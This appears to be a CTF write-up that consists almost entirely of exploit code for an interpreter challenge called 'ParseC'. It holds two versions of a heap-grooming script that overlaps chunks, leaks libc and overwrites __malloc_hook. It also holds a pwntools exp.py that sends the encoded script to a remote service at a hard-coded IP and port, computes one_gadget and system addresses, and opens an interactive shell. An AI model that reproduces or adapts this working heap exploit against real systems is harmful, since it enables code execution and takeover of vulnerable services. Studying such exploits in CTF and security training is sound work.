a = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
b = a;
c = a;
a = "AAAAAAAA";
puts(b);//leak
pad = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
pad1 = "aaaaaaaa";//malloc(0x10)
pad2 = "aaaaaaaa";//malloc(0x10)
db = "aaaaaaaa";//malloc(0x10)
overlap = db;
fuck2 = db;
fuck3 = db;
db = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
overlap = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";//malloc(0x30)
overlap_fuck_ptr = overlap;
overlap_fuck_ptr2 = overlap;
overlap_fuck_ptr3 = overlap;
newdb = db;
fuck3 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";//malloc(0x30)
fucksize = "0";//malloc(0x10) local
fucksize1 = "0";//malloc(0x10) local
fucksize2 = "00000000q";//malloc(0x10) fuck size
overlap_fuck_ptr2 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";//free
newdb = "aaaaaaaa";//malloc(0x10)
overlap2 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
//malloc(0x380)
overlap3 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";

//malloc(0x20)
fuckfdaboveaboveabove="a";
fuckfdaboveabove="a";//malloc(0x10)
fuckfdaboveaboveptr1=fuckfdaboveabove;
fuckfdaboveaboveptr2=fuckfdaboveabove;
fuckfdaboveaboveptr3=fuckfdaboveabove;
fuckfdaboveaboveptr4=fuckfdaboveabove;
fuckfdaboveaboveptr5=fuckfdaboveabove;
fuckfdaboveaboveptr6=fuckfdaboveabove;
fuckfdaboveaboveptr7=fuckfdaboveabove;

fuckfdabove="a";//malloc(0x10)
fuckfdaboveptr1=fuckfdabove;
fuckfdaboveptr2=fuckfdabove;
fuckfdaboveptr3=fuckfdabove;
fuckfdaboveptr4=fuckfdabove;
fuckfdaboveptr5=fuckfdabove;
fuckfdaboveptr6=fuckfdabove;
fuckfdaboveptr7=fuckfdabove;
//fuckoverlap31 = overlap3;
//fuckoverlap32 = overlap3;
//overlap3 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
//fuckoverlap31 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
//malloc(0x100)
fuckfd = " ";//mallochook-0x10
fuckfdptr1 = fuckfd;
fuckfdptr2 = fuckfd;
fuckfdptr3 = fuckfd;
fuckheap = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckheapptr1 = fuckheap;
fuckheapptr2 = fuckheap;
fuckheapptr3 = fuckheap;
fuckheapptr4 = fuckheap;
fuckfdaboveaboveptr1 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfdaboveaboveptr2 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfdaboveaboveptr3 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";

fuckfd201 = "0";
fuckfd202 = "AAAAAAAA";
fuckfd203 = "aaaaaaaaQ";

fuckfdaboveptr1 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";

fuckfdaboveaboveptr4 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfdaboveaboveptr5 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfdaboveaboveptr6 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";

fuckfd501 = "@";
fuckfd502 = "AAAAAAAA";
fuckfd503 = "h";

array xjbarr1(1);
fucknum=0.1;
read(fucknum);
xjbarr1[0]=fucknum;
print(xjbarr1[0]);

array xjbarr2(1);

array xjbarr3(1);
fucknum3=0.1;
read(fucknum3);
xjbarr3[0]=fucknum3;

getshell="/bin/sh";
getshell = "1";
read();

远程exp

puts("AAAA");

a = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
b = a;
c = a;
a = "AAAAAAAA";
puts(b);//leak

pad = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
pad1 = "aaaaaaaa";//malloc(0x10)
pad2 = "aaaaaaaa";//malloc(0x10)
db = "aaaaaaaa";//malloc(0x10)
overlap = db;
fuck2 = db;
fuck3 = db;
db = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
overlap = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";//malloc(0x30)
overlap_fuck_ptr = overlap;
overlap_fuck_ptr2 = overlap;
overlap_fuck_ptr3 = overlap;
newdb = db;
fuck3 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";//malloc(0x30)
fucksize = " ";//malloc(0x10) local
fucksize1 = " ";//malloc(0x10) local
fucksize2 = "00000000q";//malloc(0x10) fuck size
overlap_fuck_ptr2 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";//free
newdb = "aaaaaaaa";//malloc(0x10)
overlap2 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
//malloc(0x380)
overlap3 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";

//malloc(0x20)
fuckfdaboveaboveabove="a";
fuckfdaboveabove="a";//malloc(0x10)
fuckfdaboveaboveptr1=fuckfdaboveabove;
fuckfdaboveaboveptr2=fuckfdaboveabove;
fuckfdaboveaboveptr3=fuckfdaboveabove;
fuckfdaboveaboveptr4=fuckfdaboveabove;
fuckfdaboveaboveptr5=fuckfdaboveabove;
fuckfdaboveaboveptr6=fuckfdaboveabove;
fuckfdaboveaboveptr7=fuckfdaboveabove;

fuckfdabove="a";//malloc(0x10)
fuckfdaboveptr1=fuckfdabove;
fuckfdaboveptr2=fuckfdabove;
fuckfdaboveptr3=fuckfdabove;
fuckfdaboveptr4=fuckfdabove;
fuckfdaboveptr5=fuckfdabove;
fuckfdaboveptr6=fuckfdabove;
fuckfdaboveptr7=fuckfdabove;

fuckfd = " ";//mallochook-0x10
fuckfdptr1 = fuckfd;
fuckfdptr2 = fuckfd;
fuckfdptr3 = fuckfd;
fuckheap = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckheapptr1 = fuckheap;
fuckheapptr2 = fuckheap;
fuckheapptr3 = fuckheap;
fuckheapptr4 = fuckheap;
fuckfdaboveaboveptr1 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfdaboveaboveptr2 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfdaboveaboveptr3 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";

fuckfd201 = " ";
fuckfd202 = "AAAAAAAA";
fuckfd203 = "aaaaaaaaQ";

fuckfdaboveptr1 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";

fuckfdaboveaboveptr4 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfdaboveaboveptr5 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfdaboveaboveptr6 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";

fuckfd501 = "0";
fuckfd502 = "AAAAAAAA";
fuckfd503 = "X";

array xjbarr1(1);
fucknum=0.1;
read(fucknum);
xjbarr1[0]=fucknum;
print(xjbarr1[0]);

array xjbarr2(1);

array xjbarr3(1);
fucknum3=0.1;
read(fucknum3);
xjbarr3[0]=fucknum3;

getshell="/bin/sh";
getshell = "1";
read();

exp.py

from pwn import *
from base64 import b64encode

REMOTE = 1

if REMOTE:
	with open('./exp','r') as f:
		data = f.read()
		b64data = b64encode(data)
	with open('./b64exp','w') as f:
		f.write(b64data)
	r = remote('123.57.4.93',34007)
	r.recvuntil('-------------------------------------------------------\n')
	r.sendline(b64data)

else:
	r = process(['./ParseC_ori','expl'],aslr=False)


libc = ELF('./libc-2.27.so')
leak = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = leak - libc.sym['__malloc_hook'] - 0x10-96
malloc_hook = libc_base+libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']
log.success(hex(libc_base))
one = libc_base+0x4f3c2
one2 = libc_base+0x4f365 
one3 = libc_base+0x10a45c
log.info(hex(one))#6.9533549949651e-310
log.info(hex(one2))#6.9533549949605e-310
log.info(hex(one3))#6.95335503281577e-310
log.info(hex(malloc_hook -0x28))
log.info('fuck you')
log.info(hex(free_hook -0x28))#6.9533551824222e-310
log.info(hex(system))#6.95335499497923e-310
r.interactive()

Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).